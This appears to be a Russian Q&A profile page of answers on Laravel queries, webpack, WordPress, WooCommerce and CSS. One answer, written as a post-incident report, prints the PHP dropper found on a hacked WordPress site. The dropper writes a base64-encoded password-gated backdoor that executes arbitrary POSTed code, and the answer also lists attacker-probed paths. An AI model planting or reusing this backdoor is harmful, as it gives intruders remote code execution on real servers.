• Как правильно составить сложный запрос в Laravel?

    @Bodrosh Автор вопроса
    Запрос SQL:
    SELECT p.id, p.data, u.id as user_id, SUM(su.status) as sum_status
                FROM `posts` as p
                LEFT JOIN projects as p ON p.id = p.project_id
                LEFT JOIN users as u ON u.id = p.user_id
                LEFT JOIN service_user as su ON su.user_id = u.id
                GROUP BY su.user_id, p.id, p.data

    Итоговый результат:
    $posts = DB::table('posts')
                ->leftJoin('projects', 'posts.project_id', '=', 'projects.id')
                ->leftJoin('users', 'projects.user_id', '=', 'users.id')
                ->leftJoin('service_user', 'users.id', '=', 'service_user.user_id')
                ->leftJoin('services', 'service_user.service_id', '=', 'services.id')
                ->groupBy('service_user.user_id', 'posts.id', 'posts.data')
                ->select('posts.id',  'posts.data',  'service_user.user_id', DB::raw("SUM(service_user.status) as sum_status") )
                ->paginate(50);
    Ответ написан
  • Как изменить путь async chunks в webpack?

    @Bodrosh Автор вопроса
    На вскидку, помогло добавление publicPath в output (еще тестирую)
    mix.setResourceRoot('/site')
    mix.setPublicPath('public/site')
    
    mix.webpackConfig(webpack => {
        return {
            output: {
                publicPath: '/site/'
            },
    })


    Это добавляет нужный путь:
    /* webpack/runtime/publicPath */
    /******/ 	(() => {
    /******/ 		__webpack_require__.p = "/site/";
    /******/ 	})();
    Ответ написан
    Комментировать
  • Как изменить этот код, чтобы номер выводился кликабельным?

    @Bodrosh
    Так вы же сами отвечаете на свой вопрос, в body (если то, что там есть, работает), вместо Телефон: $txtphone, нужно вставить:
    <a href="tel:$txtphone">$txtphone</a>

    Желательно предварительно добавить проверку, перевести в нужный формат, но это уже другая история)
    Ответ написан
  • Как вывести часть кода через созданную функцию php?

    @Bodrosh
    Можно, например, добавить шорткод
    add_shortcode('custom_gallery', 'custom_gallery_func');
    
    function custom_gallery_func( $atts ) {
    	extract( shortcode_atts( array(
            'count' => ''  // параметры, если нужны
        ), $atts ) );
       // ваш код галереи, подключение внешнего файла
      // можно использовать буфер ob_start(); а затем возвращать $content = ob_get_clean();
    }

    А затем выводить на страницах [custom_gallery] или в php
    <?php echo do_shortcode( '[custom_gallery]' );
    Ответ написан
  • Почему не работает добавление стиля для Dom элемента по setTimeout?

    @Bodrosh
    Из-за !important не видите изменений.
    Ответ написан
    Комментировать
  • Как сделать скроллбар "невыезжающим" за границы элемента?

    @Bodrosh
    Можно сделать внешний блок со скруглением overflow: hidden, а уже внутри него блок со скроллом overflow: scroll
    Ответ написан
  • Как ввести текст из поста не в цикле, а за циклом в WordPress?

    @Bodrosh
    Можно, например, создать переменную (массив) вне цикла, а в самом цикле собирать в неё данные. После того, как цикл завершится, в ней всё останется и можно использовать дальше.
    Ответ написан
    Комментировать
  • Как восстановить InnoDB таблички если они были повреждены?

    @Bodrosh
    Дело может быть еще в нехватке оперативной памяти, тоже столкнулся с проблемой падений таблиц типа:
    [ERROR] mysqld: Table './br_db/br_usermeta' is marked as crashed and should be repaired


    При попытках восстановления mysqlcheck - Innodb тип не подходит,
    The storage engine for the table doesn't support repair

    и в mysql через REPAIR TABLE выдавало Ок, но не помогало.

    Пробовал так же пересоздавать таблицы
    CREATE TABLE br_options2 LIKE br_options;
    INSERT INTO br_options2 SELECT * FROM br_options;
    DROP TABLE br_options;
    RENAME TABLE br_options2 TO br_options;


    Но ошибки появлялись те же, причина в итоге нашлась - нехватка памяти...
    Ответ написан
    Комментировать
  • Как найти источник загрузки сторонней рекламы в браузерах?

    @Bodrosh
    Столкнулся с той же проблемой, в итоге виной стал роутер, т.к. напрямую без него данная реклама не появляется. Роутер Ростелеком, а как она в него попала (или изначально с ней поставлялся) - пока осталось загадкой.
    Ответ написан
    Комментировать
  • Появляется нежелательная реклама на сайте wordpress?

    @Bodrosh
    Столкнулся с той же проблемой, в итоге виной стал роутер, т.к. напрямую без него данная реклама не появляется. Роутер Ростелеком, а как она туда попала (или изначально с ней поставлялся) - пока осталось загадкой.
    Ответ написан
  • Как переместить кнопку "в корзину" от выбора количества товара?

    @Bodrosh
    Можно скопировать файл шаблона, напр. wp-content/plugins/woocommerce/templates/single-product\add-to-cart/simple.php в папку /ваша_тема/woocommerce/single-product/add-to-cart/simple.php и изменять его
    Ответ написан
    Комментировать
  • Как перенести сайт wordpress без доступа к его страницам?

    @Bodrosh
    Предварительно сделать резервную копию. Создать новый домен (+Ssl к нему если требуется), скопировать файлы в его папку. Если на том же сервере - то базу можно не трогать. Можно воспользоваться иструментом Search and Replase - его папку закачать в корень нового сайта и открыть её путь - этим инструментом заменить старый адрес на новый.
    Ответ написан
    Комментировать
  • Как добавить возможность выбрать дату/время доставки WooCommerce?

    @Bodrosh
    Вот так можно (может быть потребуется библилотека flatpickr для выпадающего календаря b dhtvtyb)
    add_action( 'woocommerce_after_order_notes', 'my_custom_checkout_field' );
    
    function my_custom_checkout_field( $checkout ) {
    
        echo '<div class="form-row notes"><br><label>Дата и время получения заказа</label>';
    
        woocommerce_form_field( 'client_date', array(
            'type'          => 'text',
            'class'         => array('form-row-first'),
            'label'         => __(''),
            'placeholder'   => _x('Дата', 'placeholder', 'woocommerce'),
        ), $checkout->get_value( 'client_date' ));
    
        woocommerce_form_field( 'client_time', array(
            'type'          => 'text',
            'class'         => array('form-row-last'),
            'label'         => __(''),
            'placeholder'   => _x('Время', 'placeholder', 'woocommerce'),
        ), $checkout->get_value( 'client_time' ));
    
        echo '</div>';
        echo '<div class="form-row notes br-notes-1"><label>Время заказа определяется после звонка оператора.</label></div>';
    
    }
    /**
     * Обновляем добавленные поля в БД
     */
    add_action( 'woocommerce_checkout_update_order_meta', 'my_custom_checkout_field_update_order_meta' );
    
    function my_custom_checkout_field_update_order_meta( $order_id ) {
     if ( ! empty( $_POST['client_date'] ) ) {
            update_post_meta( $order_id, 'client_date', sanitize_text_field( $_POST['client_date'] ) );
        }
    }
    add_action( 'woocommerce_admin_order_data_after_billing_address', 'my_custom_checkout_field_display_admin_order_meta', 10, 1 );
    
    function my_custom_checkout_field_display_admin_order_meta($order){
        echo '<p><strong>'.__('Дата и время').':</strong> ' . get_post_meta( $order->get_id(), 'client_date', true ) . ' ' .get_post_meta( $order->get_id(), 'client_time', true ) . '</p>';
    }
    /* Отправка добавленных полей на email
    */
    add_filter('woocommerce_email_order_meta_fields', 'br_add_email_order_meta_fields', 10, 3);
    
    function br_add_email_order_meta_fields( $fields, $sent_to_admin, $order_obj ) {
     $fields['client_date'] = array(
            'label' => 'Дата и время',
            'value' => get_post_meta( $order_num, 'client_date', true ) . ' ' . get_post_meta( $order_num, 'client_time', true )
        );
    }
    add_action( 'wp_footer', 'awoohc_add_script_update_shipping_method' );
    function awoohc_add_script_update_shipping_method() {
        if ( is_checkout() ) { ?>
             <script>
                jQuery(document).ready(function ($) {
    
                      if( $("#client_date").length > 0 ) {
                        let optsDate = {
                            "locale": "ru",
                            "dateFormat":  "d.m.Y",
                        };
                        $("#client_date").flatpickr(optsDate);
                    }
    
                    if( $("#client_time").length > 0 ) {
                        let optsTime = {
                            locale: "ru",
                            enableTime: true,
                            noCalendar: true,
                            dateFormat: "H:i",
                            time_24hr: true
                        };
    
                        $("#client_time").flatpickr(optsTime);
                    }
                });
    
    
    
            </script>
     <?php    }
    }
    Ответ написан
    Комментировать
  • Как изменить уже работающий сайт Wordpress?

    @Bodrosh
    Можно напрямую изменять, если уверены в своих действиях) Например через IDE PHPSTORM, подключаетесь по SSH (это SFTP) или по FTP, настраиваете соответствие своих локальных файлов и файлов на сервере, настраиваете сохранение по Ctrl+S и уведомление о различиях файлов при их изменении, скачиваете файл или папку, которую необходимо изменить.

    Другой вариант - развернуть систему локально, и пользоваться такими инструментами, как GIT - т.е. локально внесли изменения, сохранили их (отправили их на удаленный сервер, push), затем получили их уже на своем сервере (сделали pull).
    Ответ написан
    Комментировать
  • Как найти место взлома wordpress?

    @Bodrosh Автор вопроса
    Уязвимость найдена, возможно кому-то поможет.
    По логам прослеживались обращения:
    51.38.106.48 - - [02/Nov/2020:19:55:53 +0000] "POST /wp-content/uploads/elementor/custom-icons/-1/css/ HTTP/1.0" 200 181 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
    51.38.106.48 - - [02/Nov/2020:19:55:55 +0000] "POST /wp-stream.php HTTP/1.0" 200 197 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
    51.38.106.48 - - [02/Nov/2020:19:55:58 +0000] "POST /wp-content/uploads/wp-stream.php HTTP/1.0" 200 197 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"


    В одном из плагинов (/wp-content/uploads/elementor/custom-icons/-1/css/index.php), как и предполагалось, находился данный код:

    echo "ssqqss>>>";
    error_reporting(0);
    ini_set('display_errors',0);
    
    make_wpupload_file($_SERVER['DOCUMENT_ROOT'].'/wp-content/uploads');
    
     function make_wpupload_file($dir) {
    
    	$b = base64_decode('PD9waHAgIGlmKGlzc2V0KCRfUE9TVFsnbHQnXSkgJiYgbWQ1KCRfUE9TVFsnbHQnXSkgPT0gYmFzZTY0X2RlY29kZSgiTURJek1qVTRZbUpsWWpkalpUazFOV0UyT1RCa1kyRXdOVFppWlRnNE5XUT0iKSApIHskbHQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFsnYSddKTtmaWxlX3B1dF9jb250ZW50cygnbHRlXycsJzw/cGhwICcuJGx0KTskbHQ9J2x0ZV8nO2lmKGZpbGVfZXhpc3RzKCRsdCkpe2luY2x1ZGUoJGx0KTt1bmxpbmsoJGx0KTt9fSA/Pg==');
    	if(!file_exists($dir.'/wp-stream.php')){
    		@file_put_contents($dir.'/wp-stream.php',$b);
    		@file_put_contents($_SERVER['DOCUMENT_ROOT'].'/wp-stream.php',$b);
    	}
      
    }
    
    unlink(__FILE__);

    При взломе так же пытались найти на сервере следующие файлы и пути, уязвимости могут быть и в них:
    /wp-content/plugins/widget-settings-importexport/widget-data.js
    /wp-content/plugins/letme/weblinks.php
    /wp-content/plugins/background-image-cropper/ups.php.suspected
    /wp-content/uploads/2020/10/content-post.php
    /wp-content/wp-muen.php
    /wp-content/uploads/2020/04/blackhat.php
    /wp-content/plugins/wp-members/assets/js/wpmem-nav-menu.min.js
    /wp-content/plugins/superstorefinder-wp/css/ssf-wp-admin.css
    /my-accountsuc_reg
    /my-accountcanreg
    /wp-content/themes/CP20/content-post.php.suspected
    /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php
    /wp-content/uploads/wp-stream.php
    /wp-admin/theme-install.php
    /xmlrpc.php
    /installer.php
    /wp-content/themes/distance-lite/languages/namespaces.php
    Ответ написан
    Комментировать
  • Как вставить верстку посредством генерации в пхп?

    @Bodrosh
    Видимо из-за кавычек, плюс добавьте точку с запятой:
    <?php echo '<option value="Berlin">Берлин</option>'; ?>
    Ответ написан
    2 комментария
  • Вывод постов в Wordpress?

    @Bodrosh
    Форма у вас уже есть визуальная, нужно сверстать и подвязывать её к Wordpress, т.е. при нажатии на кнопку отправляется форма - данные обрабатывает какой-то скрипт, в котором и идёт запрос в Б. напр., можно использовать WP_Query или get_posts(), в запросе уже передаются параметры формы. Ну и после запроса что-то можно делать с этими данными.
    Ответ написан
    Комментировать
  • Как я могу отключить к определённой строчке тегов HTML, стили CSS?

    @Bodrosh
    Вы можете назначить одни стили для списка и переопределить конкретные пункты, например, так:
    <ul class="list-1">
    <li>Первый элемент</li>
    <li class="list-item">Второй элемент</li>
    ...
    </ul>


    <style>
    .list-1 {
    общий стиль;
    }
    .list-1 li.list-item {
    другой стиль пункта;
    }
    </style>
    Ответ написан
    Комментировать
  • Как отправить данные с формы на сайте на сторонний PHP скрипт?

    @Bodrosh
    Можно воспользоваться хуками, для этого в CF7 есть напр., wpcf7_mail_sent:
    // отправляем данные из cf7 куда-то
    add_action( 'wpcf7_mail_sent', 'br_wpcf7_mail_sent', 10, 1 );
    
    function br_wpcf7_mail_sent( $contact_form ) {
    
            $submission = WPCF7_Submission::get_instance();
            $posted_data = $submission->get_posted_data();
             // Данные из формы можно получить так:
             $posted_data['your-phone'] 
             $posted_data['your-name']
             // и передать их в ваш скрипт
    }
    Ответ написан
    Комментировать
  • Как найти нужный tr td?

    @Bodrosh
    Можно найти родительский tr, а в нем уже td с нужным классом name-pnd
    Напр., используя $(this).parent().prev()
    Ответ написан